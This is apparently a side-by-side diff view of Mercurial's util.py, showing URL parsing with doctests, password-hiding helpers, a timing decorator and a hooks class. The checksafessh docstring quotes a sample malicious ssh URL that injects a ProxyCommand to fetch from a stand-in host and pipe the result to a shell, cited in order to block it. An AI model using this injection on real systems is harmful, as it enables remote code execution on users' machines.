2576 | >>> url(b'file:///c:/temp/foo/') | |
2570 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
2577 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
2571 | >>> url(b'bundle:foo') |
|
2578 | >>> url(b'bundle:foo') | |
2572 | <url scheme: 'bundle', path: 'foo'> |
|
2579 | <url scheme: 'bundle', path: 'foo'> | |
2573 | >>> url(b'bundle://../foo') |
|
2580 | >>> url(b'bundle://../foo') | |
2574 | <url scheme: 'bundle', path: '../foo'> |
|
2581 | <url scheme: 'bundle', path: '../foo'> | |
2575 | >>> url(br'c:\foo\bar') |
|
2582 | >>> url(br'c:\foo\bar') | |
2576 | <url path: 'c:\\foo\\bar'> |
|
2583 | <url path: 'c:\\foo\\bar'> | |
2577 | >>> url(br'\\blah\blah\blah') |
|
2584 | >>> url(br'\\blah\blah\blah') | |
2578 | <url path: '\\\\blah\\blah\\blah'> |
|
2585 | <url path: '\\\\blah\\blah\\blah'> | |
2579 | >>> url(br'\\blah\blah\blah#baz') |
|
2586 | >>> url(br'\\blah\blah\blah#baz') | |
2580 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
2587 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
2581 | >>> url(br'file:///C:\users\me') |
|
2588 | >>> url(br'file:///C:\users\me') | |
2582 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
2589 | <url scheme: 'file', path: 'C:\\users\\me'> | |
2583 |
|
2590 | |||
2584 | Authentication credentials: |
|
2591 | Authentication credentials: | |
2585 |
|
2592 | |||
2586 | >>> url(b'ssh://joe:xyz@x/repo') |
|
2593 | >>> url(b'ssh://joe:xyz@x/repo') | |
2587 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
2594 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
2588 | >>> url(b'ssh://joe@x/repo') |
|
2595 | >>> url(b'ssh://joe@x/repo') | |
2589 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
2596 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
2590 |
|
2597 | |||
2591 | Query strings and fragments: |
|
2598 | Query strings and fragments: | |
2592 |
|
2599 | |||
2593 | >>> url(b'http://host/a?b#c') |
|
2600 | >>> url(b'http://host/a?b#c') | |
2594 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
2601 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
2595 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
2602 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
2596 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
2603 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
2597 |
|
2604 | |||
2598 | Empty path: |
|
2605 | Empty path: | |
2599 |
|
2606 | |||
2600 | >>> url(b'') |
|
2607 | >>> url(b'') | |
2601 | <url path: ''> |
|
2608 | <url path: ''> | |
2602 | >>> url(b'#a') |
|
2609 | >>> url(b'#a') | |
2603 | <url path: '', fragment: 'a'> |
|
2610 | <url path: '', fragment: 'a'> | |
2604 | >>> url(b'http://host/') |
|
2611 | >>> url(b'http://host/') | |
2605 | <url scheme: 'http', host: 'host', path: ''> |
|
2612 | <url scheme: 'http', host: 'host', path: ''> | |
2606 | >>> url(b'http://host/#a') |
|
2613 | >>> url(b'http://host/#a') | |
2607 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
2614 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
2608 |
|
2615 | |||
2609 | Only scheme: |
|
2616 | Only scheme: | |
2610 |
|
2617 | |||
2611 | >>> url(b'http:') |
|
2618 | >>> url(b'http:') | |
2612 | <url scheme: 'http'> |
|
2619 | <url scheme: 'http'> | |
2613 | """ |
|
2620 | """ | |
2614 |
|
2621 | |||
2615 | _safechars = "!~*'()+" |
|
2622 | _safechars = "!~*'()+" | |
2616 | _safepchars = "/!~*'()+:\\" |
|
2623 | _safepchars = "/!~*'()+:\\" | |
2617 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
|
2624 | _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match | |
2618 |
|
2625 | |||
2619 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
2626 | def __init__(self, path, parsequery=True, parsefragment=True): | |
2620 | # We slowly chomp away at path until we have only the path left |
|
2627 | # We slowly chomp away at path until we have only the path left | |
2621 | self.scheme = self.user = self.passwd = self.host = None |
|
2628 | self.scheme = self.user = self.passwd = self.host = None | |
2622 | self.port = self.path = self.query = self.fragment = None |
|
2629 | self.port = self.path = self.query = self.fragment = None | |
2623 | self._localpath = True |
|
2630 | self._localpath = True | |
2624 | self._hostport = '' |
|
2631 | self._hostport = '' | |
2625 | self._origpath = path |
|
2632 | self._origpath = path | |
2626 |
|
2633 | |||
2627 | if parsefragment and '#' in path: |
|
2634 | if parsefragment and '#' in path: | |
2628 | path, self.fragment = path.split('#', 1) |
|
2635 | path, self.fragment = path.split('#', 1) | |
2629 |
|
2636 | |||
2630 | # special case for Windows drive letters and UNC paths |
|
2637 | # special case for Windows drive letters and UNC paths | |
2631 | if hasdriveletter(path) or path.startswith('\\\\'): |
|
2638 | if hasdriveletter(path) or path.startswith('\\\\'): | |
2632 | self.path = path |
|
2639 | self.path = path | |
2633 | return |
|
2640 | return | |
2634 |
|
2641 | |||
2635 | # For compatibility reasons, we can't handle bundle paths as |
|
2642 | # For compatibility reasons, we can't handle bundle paths as | |
2636 | # normal URLS |
|
2643 | # normal URLS | |
2637 | if path.startswith('bundle:'): |
|
2644 | if path.startswith('bundle:'): | |
2638 | self.scheme = 'bundle' |
|
2645 | self.scheme = 'bundle' | |
2639 | path = path[7:] |
|
2646 | path = path[7:] | |
2640 | if path.startswith('//'): |
|
2647 | if path.startswith('//'): | |
2641 | path = path[2:] |
|
2648 | path = path[2:] | |
2642 | self.path = path |
|
2649 | self.path = path | |
2643 | return |
|
2650 | return | |
2644 |
|
2651 | |||
2645 | if self._matchscheme(path): |
|
2652 | if self._matchscheme(path): | |
2646 | parts = path.split(':', 1) |
|
2653 | parts = path.split(':', 1) | |
2647 | if parts[0]: |
|
2654 | if parts[0]: | |
2648 | self.scheme, path = parts |
|
2655 | self.scheme, path = parts | |
2649 | self._localpath = False |
|
2656 | self._localpath = False | |
2650 |
|
2657 | |||
2651 | if not path: |
|
2658 | if not path: | |
2652 | path = None |
|
2659 | path = None | |
2653 | if self._localpath: |
|
2660 | if self._localpath: | |
2654 | self.path = '' |
|
2661 | self.path = '' | |
2655 | return |
|
2662 | return | |
2656 | else: |
|
2663 | else: | |
2657 | if self._localpath: |
|
2664 | if self._localpath: | |
2658 | self.path = path |
|
2665 | self.path = path | |
2659 | return |
|
2666 | return | |
2660 |
|
2667 | |||
2661 | if parsequery and '?' in path: |
|
2668 | if parsequery and '?' in path: | |
2662 | path, self.query = path.split('?', 1) |
|
2669 | path, self.query = path.split('?', 1) | |
2663 | if not path: |
|
2670 | if not path: | |
2664 | path = None |
|
2671 | path = None | |
2665 | if not self.query: |
|
2672 | if not self.query: | |
2666 | self.query = None |
|
2673 | self.query = None | |
2667 |
|
2674 | |||
2668 | # // is required to specify a host/authority |
|
2675 | # // is required to specify a host/authority | |
2669 | if path and path.startswith('//'): |
|
2676 | if path and path.startswith('//'): | |
2670 | parts = path[2:].split('/', 1) |
|
2677 | parts = path[2:].split('/', 1) | |
2671 | if len(parts) > 1: |
|
2678 | if len(parts) > 1: | |
2672 | self.host, path = parts |
|
2679 | self.host, path = parts | |
2673 | else: |
|
2680 | else: | |
2674 | self.host = parts[0] |
|
2681 | self.host = parts[0] | |
2675 | path = None |
|
2682 | path = None | |
2676 | if not self.host: |
|
2683 | if not self.host: | |
2677 | self.host = None |
|
2684 | self.host = None | |
2678 | # path of file:///d is /d |
|
2685 | # path of file:///d is /d | |
2679 | # path of file:///d:/ is d:/, not /d:/ |
|
2686 | # path of file:///d:/ is d:/, not /d:/ | |
2680 | if path and not hasdriveletter(path): |
|
2687 | if path and not hasdriveletter(path): | |
2681 | path = '/' + path |
|
2688 | path = '/' + path | |
2682 |
|
2689 | |||
2683 | if self.host and '@' in self.host: |
|
2690 | if self.host and '@' in self.host: | |
2684 | self.user, self.host = self.host.rsplit('@', 1) |
|
2691 | self.user, self.host = self.host.rsplit('@', 1) | |
2685 | if ':' in self.user: |
|
2692 | if ':' in self.user: | |
2686 | self.user, self.passwd = self.user.split(':', 1) |
|
2693 | self.user, self.passwd = self.user.split(':', 1) | |
2687 | if not self.host: |
|
2694 | if not self.host: | |
2688 | self.host = None |
|
2695 | self.host = None | |
2689 |
|
2696 | |||
2690 | # Don't split on colons in IPv6 addresses without ports |
|
2697 | # Don't split on colons in IPv6 addresses without ports | |
2691 | if (self.host and ':' in self.host and |
|
2698 | if (self.host and ':' in self.host and | |
2692 | not (self.host.startswith('[') and self.host.endswith(']'))): |
|
2699 | not (self.host.startswith('[') and self.host.endswith(']'))): | |
2693 | self._hostport = self.host |
|
2700 | self._hostport = self.host | |
2694 | self.host, self.port = self.host.rsplit(':', 1) |
|
2701 | self.host, self.port = self.host.rsplit(':', 1) | |
2695 | if not self.host: |
|
2702 | if not self.host: | |
2696 | self.host = None |
|
2703 | self.host = None | |
2697 |
|
2704 | |||
2698 | if (self.host and self.scheme == 'file' and |
|
2705 | if (self.host and self.scheme == 'file' and | |
2699 | self.host not in ('localhost', '127.0.0.1', '[::1]')): |
|
2706 | self.host not in ('localhost', '127.0.0.1', '[::1]')): | |
2700 | raise error.Abort(_('file:// URLs can only refer to localhost')) |
|
2707 | raise error.Abort(_('file:// URLs can only refer to localhost')) | |
2701 |
|
2708 | |||
2702 | self.path = path |
|
2709 | self.path = path | |
2703 |
|
2710 | |||
2704 | # leave the query string escaped |
|
2711 | # leave the query string escaped | |
2705 | for a in ('user', 'passwd', 'host', 'port', |
|
2712 | for a in ('user', 'passwd', 'host', 'port', | |
2706 | 'path', 'fragment'): |
|
2713 | 'path', 'fragment'): | |
2707 | v = getattr(self, a) |
|
2714 | v = getattr(self, a) | |
2708 | if v is not None: |
|
2715 | if v is not None: | |
2709 | setattr(self, a, urlreq.unquote(v)) |
|
2716 | setattr(self, a, urlreq.unquote(v)) | |
2710 |
|
2717 | |||
2711 | @encoding.strmethod |
|
2718 | @encoding.strmethod | |
2712 | def __repr__(self): |
|
2719 | def __repr__(self): | |
2713 | attrs = [] |
|
2720 | attrs = [] | |
2714 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
|
2721 | for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', | |
2715 | 'query', 'fragment'): |
|
2722 | 'query', 'fragment'): | |
2716 | v = getattr(self, a) |
|
2723 | v = getattr(self, a) | |
2717 | if v is not None: |
|
2724 | if v is not None: | |
2718 | attrs.append('%s: %r' % (a, pycompat.bytestr(v))) |
|
2725 | attrs.append('%s: %r' % (a, pycompat.bytestr(v))) | |
2719 | return '<url %s>' % ', '.join(attrs) |
|
2726 | return '<url %s>' % ', '.join(attrs) | |
2720 |
|
2727 | |||
2721 | def __bytes__(self): |
|
2728 | def __bytes__(self): | |
2722 | r"""Join the URL's components back into a URL string. |
|
2729 | r"""Join the URL's components back into a URL string. | |
2723 |
|
2730 | |||
2724 | Examples: |
|
2731 | Examples: | |
2725 |
|
2732 | |||
2726 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
2733 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
2727 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
2734 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
2728 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
2735 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
2729 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
2736 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
2730 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
2737 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
2731 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
2738 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
2732 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
2739 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
2733 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
2740 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
2734 | >>> bytes(url(b'http://localhost:80//')) |
|
2741 | >>> bytes(url(b'http://localhost:80//')) | |
2735 | 'http://localhost:80//' |
|
2742 | 'http://localhost:80//' | |
2736 | >>> bytes(url(b'http://localhost:80/')) |
|
2743 | >>> bytes(url(b'http://localhost:80/')) | |
2737 | 'http://localhost:80/' |
|
2744 | 'http://localhost:80/' | |
2738 | >>> bytes(url(b'http://localhost:80')) |
|
2745 | >>> bytes(url(b'http://localhost:80')) | |
2739 | 'http://localhost:80/' |
|
2746 | 'http://localhost:80/' | |
2740 | >>> bytes(url(b'bundle:foo')) |
|
2747 | >>> bytes(url(b'bundle:foo')) | |
2741 | 'bundle:foo' |
|
2748 | 'bundle:foo' | |
2742 | >>> bytes(url(b'bundle://../foo')) |
|
2749 | >>> bytes(url(b'bundle://../foo')) | |
2743 | 'bundle:../foo' |
|
2750 | 'bundle:../foo' | |
2744 | >>> bytes(url(b'path')) |
|
2751 | >>> bytes(url(b'path')) | |
2745 | 'path' |
|
2752 | 'path' | |
2746 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
2753 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
2747 | 'file:///tmp/foo/bar' |
|
2754 | 'file:///tmp/foo/bar' | |
2748 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
2755 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
2749 | 'file:///c:/tmp/foo/bar' |
|
2756 | 'file:///c:/tmp/foo/bar' | |
2750 | >>> print(url(br'bundle:foo\bar')) |
|
2757 | >>> print(url(br'bundle:foo\bar')) | |
2751 | bundle:foo\bar |
|
2758 | bundle:foo\bar | |
2752 | >>> print(url(br'file:///D:\data\hg')) |
|
2759 | >>> print(url(br'file:///D:\data\hg')) | |
2753 | file:///D:\data\hg |
|
2760 | file:///D:\data\hg | |
2754 | """ |
|
2761 | """ | |
2755 | if self._localpath: |
|
2762 | if self._localpath: | |
2756 | s = self.path |
|
2763 | s = self.path | |
2757 | if self.scheme == 'bundle': |
|
2764 | if self.scheme == 'bundle': | |
2758 | s = 'bundle:' + s |
|
2765 | s = 'bundle:' + s | |
2759 | if self.fragment: |
|
2766 | if self.fragment: | |
2760 | s += '#' + self.fragment |
|
2767 | s += '#' + self.fragment | |
2761 | return s |
|
2768 | return s | |
2762 |
|
2769 | |||
2763 | s = self.scheme + ':' |
|
2770 | s = self.scheme + ':' | |
2764 | if self.user or self.passwd or self.host: |
|
2771 | if self.user or self.passwd or self.host: | |
2765 | s += '//' |
|
2772 | s += '//' | |
2766 | elif self.scheme and (not self.path or self.path.startswith('/') |
|
2773 | elif self.scheme and (not self.path or self.path.startswith('/') | |
2767 | or hasdriveletter(self.path)): |
|
2774 | or hasdriveletter(self.path)): | |
2768 | s += '//' |
|
2775 | s += '//' | |
2769 | if hasdriveletter(self.path): |
|
2776 | if hasdriveletter(self.path): | |
2770 | s += '/' |
|
2777 | s += '/' | |
2771 | if self.user: |
|
2778 | if self.user: | |
2772 | s += urlreq.quote(self.user, safe=self._safechars) |
|
2779 | s += urlreq.quote(self.user, safe=self._safechars) | |
2773 | if self.passwd: |
|
2780 | if self.passwd: | |
2774 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
2781 | s += ':' + urlreq.quote(self.passwd, safe=self._safechars) | |
2775 | if self.user or self.passwd: |
|
2782 | if self.user or self.passwd: | |
2776 | s += '@' |
|
2783 | s += '@' | |
2777 | if self.host: |
|
2784 | if self.host: | |
2778 | if not (self.host.startswith('[') and self.host.endswith(']')): |
|
2785 | if not (self.host.startswith('[') and self.host.endswith(']')): | |
2779 | s += urlreq.quote(self.host) |
|
2786 | s += urlreq.quote(self.host) | |
2780 | else: |
|
2787 | else: | |
2781 | s += self.host |
|
2788 | s += self.host | |
2782 | if self.port: |
|
2789 | if self.port: | |
2783 | s += ':' + urlreq.quote(self.port) |
|
2790 | s += ':' + urlreq.quote(self.port) | |
2784 | if self.host: |
|
2791 | if self.host: | |
2785 | s += '/' |
|
2792 | s += '/' | |
2786 | if self.path: |
|
2793 | if self.path: | |
2787 | # TODO: similar to the query string, we should not unescape the |
|
2794 | # TODO: similar to the query string, we should not unescape the | |
2788 | # path when we store it, the path might contain '%2f' = '/', |
|
2795 | # path when we store it, the path might contain '%2f' = '/', | |
2789 | # which we should *not* escape. |
|
2796 | # which we should *not* escape. | |
2790 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
2797 | s += urlreq.quote(self.path, safe=self._safepchars) | |
2791 | if self.query: |
|
2798 | if self.query: | |
2792 | # we store the query in escaped form. |
|
2799 | # we store the query in escaped form. | |
2793 | s += '?' + self.query |
|
2800 | s += '?' + self.query | |
2794 | if self.fragment is not None: |
|
2801 | if self.fragment is not None: | |
2795 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
2802 | s += '#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
2796 | return s |
|
2803 | return s | |
2797 |
|
2804 | |||
2798 | __str__ = encoding.strmethod(__bytes__) |
|
2805 | __str__ = encoding.strmethod(__bytes__) | |
2799 |
|
2806 | |||
2800 | def authinfo(self): |
|
2807 | def authinfo(self): | |
2801 | user, passwd = self.user, self.passwd |
|
2808 | user, passwd = self.user, self.passwd | |
2802 | try: |
|
2809 | try: | |
2803 | self.user, self.passwd = None, None |
|
2810 | self.user, self.passwd = None, None | |
2804 | s = bytes(self) |
|
2811 | s = bytes(self) | |
2805 | finally: |
|
2812 | finally: | |
2806 | self.user, self.passwd = user, passwd |
|
2813 | self.user, self.passwd = user, passwd | |
2807 | if not self.user: |
|
2814 | if not self.user: | |
2808 | return (s, None) |
|
2815 | return (s, None) | |
2809 | # authinfo[1] is passed to urllib2 password manager, and its |
|
2816 | # authinfo[1] is passed to urllib2 password manager, and its | |
2810 | # URIs must not contain credentials. The host is passed in the |
|
2817 | # URIs must not contain credentials. The host is passed in the | |
2811 | # URIs list because Python < 2.4.3 uses only that to search for |
|
2818 | # URIs list because Python < 2.4.3 uses only that to search for | |
2812 | # a password. |
|
2819 | # a password. | |
2813 | return (s, (None, (s, self.host), |
|
2820 | return (s, (None, (s, self.host), | |
2814 | self.user, self.passwd or '')) |
|
2821 | self.user, self.passwd or '')) | |
2815 |
|
2822 | |||
2816 | def isabs(self): |
|
2823 | def isabs(self): | |
2817 | if self.scheme and self.scheme != 'file': |
|
2824 | if self.scheme and self.scheme != 'file': | |
2818 | return True # remote URL |
|
2825 | return True # remote URL | |
2819 | if hasdriveletter(self.path): |
|
2826 | if hasdriveletter(self.path): | |
2820 | return True # absolute for our purposes - can't be joined() |
|
2827 | return True # absolute for our purposes - can't be joined() | |
2821 | if self.path.startswith(br'\\'): |
|
2828 | if self.path.startswith(br'\\'): | |
2822 | return True # Windows UNC path |
|
2829 | return True # Windows UNC path | |
2823 | if self.path.startswith('/'): |
|
2830 | if self.path.startswith('/'): | |
2824 | return True # POSIX-style |
|
2831 | return True # POSIX-style | |
2825 | return False |
|
2832 | return False | |
2826 |
|
2833 | |||
2827 | def localpath(self): |
|
2834 | def localpath(self): | |
2828 | if self.scheme == 'file' or self.scheme == 'bundle': |
|
2835 | if self.scheme == 'file' or self.scheme == 'bundle': | |
2829 | path = self.path or '/' |
|
2836 | path = self.path or '/' | |
2830 | # For Windows, we need to promote hosts containing drive |
|
2837 | # For Windows, we need to promote hosts containing drive | |
2831 | # letters to paths with drive letters. |
|
2838 | # letters to paths with drive letters. | |
2832 | if hasdriveletter(self._hostport): |
|
2839 | if hasdriveletter(self._hostport): | |
2833 | path = self._hostport + '/' + self.path |
|
2840 | path = self._hostport + '/' + self.path | |
2834 | elif (self.host is not None and self.path |
|
2841 | elif (self.host is not None and self.path | |
2835 | and not hasdriveletter(path)): |
|
2842 | and not hasdriveletter(path)): | |
2836 | path = '/' + path |
|
2843 | path = '/' + path | |
2837 | return path |
|
2844 | return path | |
2838 | return self._origpath |
|
2845 | return self._origpath | |
2839 |
|
2846 | |||
2840 | def islocal(self): |
|
2847 | def islocal(self): | |
2841 | '''whether localpath will return something that posixfile can open''' |
|
2848 | '''whether localpath will return something that posixfile can open''' | |
2842 | return (not self.scheme or self.scheme == 'file' |
|
2849 | return (not self.scheme or self.scheme == 'file' | |
2843 | or self.scheme == 'bundle') |
|
2850 | or self.scheme == 'bundle') | |
2844 |
|
2851 | |||
2845 | def hasscheme(path): |
|
2852 | def hasscheme(path): | |
2846 | return bool(url(path).scheme) |
|
2853 | return bool(url(path).scheme) | |
2847 |
|
2854 | |||
2848 | def hasdriveletter(path): |
|
2855 | def hasdriveletter(path): | |
2849 | return path and path[1:2] == ':' and path[0:1].isalpha() |
|
2856 | return path and path[1:2] == ':' and path[0:1].isalpha() | |
2850 |
|
2857 | |||
2851 | def urllocalpath(path): |
|
2858 | def urllocalpath(path): | |
2852 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
2859 | return url(path, parsequery=False, parsefragment=False).localpath() | |
2853 |
|
2860 | |||
2854 | def checksafessh(path): |
|
2861 | def checksafessh(path): | |
2855 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
2862 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
2856 |
|
2863 | |||
2857 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
2864 | This is a sanity check for ssh urls. ssh will parse the first item as | |
2858 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
2865 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
2859 | Let's prevent these potentially exploited urls entirely and warn the |
|
2866 | Let's prevent these potentially exploited urls entirely and warn the | |
2860 | user. |
|
2867 | user. | |
2861 |
|
2868 | |||
2862 | Raises an error.Abort when the url is unsafe. |
|
2869 | Raises an error.Abort when the url is unsafe. | |
2863 | """ |
|
2870 | """ | |
2864 | path = urlreq.unquote(path) |
|
2871 | path = urlreq.unquote(path) | |
2865 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): |
|
2872 | if path.startswith('ssh://-') or path.startswith('svn+ssh://-'): | |
2866 | raise error.Abort(_('potentially unsafe url: %r') % |
|
2873 | raise error.Abort(_('potentially unsafe url: %r') % | |
2867 | (pycompat.bytestr(path),)) |
|
2874 | (pycompat.bytestr(path),)) | |
2868 |
|
2875 | |||
2869 | def hidepassword(u): |
|
2876 | def hidepassword(u): | |
2870 | '''hide user credential in a url string''' |
|
2877 | '''hide user credential in a url string''' | |
2871 | u = url(u) |
|
2878 | u = url(u) | |
2872 | if u.passwd: |
|
2879 | if u.passwd: | |
2873 | u.passwd = '***' |
|
2880 | u.passwd = '***' | |
2874 | return bytes(u) |
|
2881 | return bytes(u) | |
2875 |
|
2882 | |||
2876 | def removeauth(u): |
|
2883 | def removeauth(u): | |
2877 | '''remove all authentication information from a url string''' |
|
2884 | '''remove all authentication information from a url string''' | |
2878 | u = url(u) |
|
2885 | u = url(u) | |
2879 | u.user = u.passwd = None |
|
2886 | u.user = u.passwd = None | |
2880 | return bytes(u) |
|
2887 | return bytes(u) | |
2881 |
|
2888 | |||
2882 | timecount = unitcountfn( |
|
2889 | timecount = unitcountfn( | |
2883 | (1, 1e3, _('%.0f s')), |
|
2890 | (1, 1e3, _('%.0f s')), | |
2884 | (100, 1, _('%.1f s')), |
|
2891 | (100, 1, _('%.1f s')), | |
2885 | (10, 1, _('%.2f s')), |
|
2892 | (10, 1, _('%.2f s')), | |
2886 | (1, 1, _('%.3f s')), |
|
2893 | (1, 1, _('%.3f s')), | |
2887 | (100, 0.001, _('%.1f ms')), |
|
2894 | (100, 0.001, _('%.1f ms')), | |
2888 | (10, 0.001, _('%.2f ms')), |
|
2895 | (10, 0.001, _('%.2f ms')), | |
2889 | (1, 0.001, _('%.3f ms')), |
|
2896 | (1, 0.001, _('%.3f ms')), | |
2890 | (100, 0.000001, _('%.1f us')), |
|
2897 | (100, 0.000001, _('%.1f us')), | |
2891 | (10, 0.000001, _('%.2f us')), |
|
2898 | (10, 0.000001, _('%.2f us')), | |
2892 | (1, 0.000001, _('%.3f us')), |
|
2899 | (1, 0.000001, _('%.3f us')), | |
2893 | (100, 0.000000001, _('%.1f ns')), |
|
2900 | (100, 0.000000001, _('%.1f ns')), | |
2894 | (10, 0.000000001, _('%.2f ns')), |
|
2901 | (10, 0.000000001, _('%.2f ns')), | |
2895 | (1, 0.000000001, _('%.3f ns')), |
|
2902 | (1, 0.000000001, _('%.3f ns')), | |
2896 | ) |
|
2903 | ) | |
2897 |
|
2904 | |||
2898 | _timenesting = [0] |
|
2905 | _timenesting = [0] | |
2899 |
|
2906 | |||
2900 | def timed(func): |
|
2907 | def timed(func): | |
2901 | '''Report the execution time of a function call to stderr. |
|
2908 | '''Report the execution time of a function call to stderr. | |
2902 |
|
2909 | |||
2903 | During development, use as a decorator when you need to measure |
|
2910 | During development, use as a decorator when you need to measure | |
2904 | the cost of a function, e.g. as follows: |
|
2911 | the cost of a function, e.g. as follows: | |
2905 |
|
2912 | |||
2906 | @util.timed |
|
2913 | @util.timed | |
2907 | def foo(a, b, c): |
|
2914 | def foo(a, b, c): | |
2908 | pass |
|
2915 | pass | |
2909 | ''' |
|
2916 | ''' | |
2910 |
|
2917 | |||
2911 | def wrapper(*args, **kwargs): |
|
2918 | def wrapper(*args, **kwargs): | |
2912 | start = timer() |
|
2919 | start = timer() | |
2913 | indent = 2 |
|
2920 | indent = 2 | |
2914 | _timenesting[0] += indent |
|
2921 | _timenesting[0] += indent | |
2915 | try: |
|
2922 | try: | |
2916 | return func(*args, **kwargs) |
|
2923 | return func(*args, **kwargs) | |
2917 | finally: |
|
2924 | finally: | |
2918 | elapsed = timer() - start |
|
2925 | elapsed = timer() - start | |
2919 | _timenesting[0] -= indent |
|
2926 | _timenesting[0] -= indent | |
2920 | stderr = procutil.stderr |
|
2927 | stderr = procutil.stderr | |
2921 | stderr.write('%s%s: %s\n' % |
|
2928 | stderr.write('%s%s: %s\n' % | |
2922 | (' ' * _timenesting[0], func.__name__, |
|
2929 | (' ' * _timenesting[0], func.__name__, | |
2923 | timecount(elapsed))) |
|
2930 | timecount(elapsed))) | |
2924 | return wrapper |
|
2931 | return wrapper | |
2925 |
|
2932 | |||
2926 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), |
|
2933 | _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30), | |
2927 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) |
|
2934 | ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1)) | |
2928 |
|
2935 | |||
2929 | def sizetoint(s): |
|
2936 | def sizetoint(s): | |
2930 | '''Convert a space specifier to a byte count. |
|
2937 | '''Convert a space specifier to a byte count. | |
2931 |
|
2938 | |||
2932 | >>> sizetoint(b'30') |
|
2939 | >>> sizetoint(b'30') | |
2933 | 30 |
|
2940 | 30 | |
2934 | >>> sizetoint(b'2.2kb') |
|
2941 | >>> sizetoint(b'2.2kb') | |
2935 | 2252 |
|
2942 | 2252 | |
2936 | >>> sizetoint(b'6M') |
|
2943 | >>> sizetoint(b'6M') | |
2937 | 6291456 |
|
2944 | 6291456 | |
2938 | ''' |
|
2945 | ''' | |
2939 | t = s.strip().lower() |
|
2946 | t = s.strip().lower() | |
2940 | try: |
|
2947 | try: | |
2941 | for k, u in _sizeunits: |
|
2948 | for k, u in _sizeunits: | |
2942 | if t.endswith(k): |
|
2949 | if t.endswith(k): | |
2943 | return int(float(t[:-len(k)]) * u) |
|
2950 | return int(float(t[:-len(k)]) * u) | |
2944 | return int(t) |
|
2951 | return int(t) | |
2945 | except ValueError: |
|
2952 | except ValueError: | |
2946 | raise error.ParseError(_("couldn't parse size: %s") % s) |
|
2953 | raise error.ParseError(_("couldn't parse size: %s") % s) | |
2947 |
|
2954 | |||
2948 | class hooks(object): |
|
2955 | class hooks(object): | |
2949 | '''A collection of hook functions that can be used to extend a |
|
2956 | '''A collection of hook functions that can be used to extend a | |
2950 | function's behavior. Hooks are called in lexicographic order, |
|
2957 | function's behavior. Hooks are called in lexicographic order, | |
2951 | based on the names of their sources.''' |
|
2958 | based on the names of their sources.''' | |
2952 |
|
2959 | |||
2953 | def __init__(self): |
|
2960 | def __init__(self): | |
2954 | self._hooks = [] |
|
2961 | self._hooks = [] | |
2955 |
|
2962 | |||
2956 | def add(self, source, hook): |
|
2963 | def add(self, source, hook): | |
2957 | self._hooks.append((source, hook)) |
|
2964 | self._hooks.append((source, hook)) | |
2958 |
|
2965 | |||
2959 | def __call__(self, *args): |
|
2966 | def __call__(self, *args): | |
2960 | self._hooks.sort(key=lambda x: x[0]) |
|
2967 | self._hooks.sort(key=lambda x: x[0]) | |
2961 | results = [] |
|
2968 | results = [] | |
2962 | for source, hook in self._hooks: |
|
2969 | for source, hook in self._hooks: | |
2963 | results.append(hook(*args)) |
|
2970 | results.append(hook(*args)) | |
2964 | return results |
|
2971 | return results | |
2965 |
|
2972 | |||
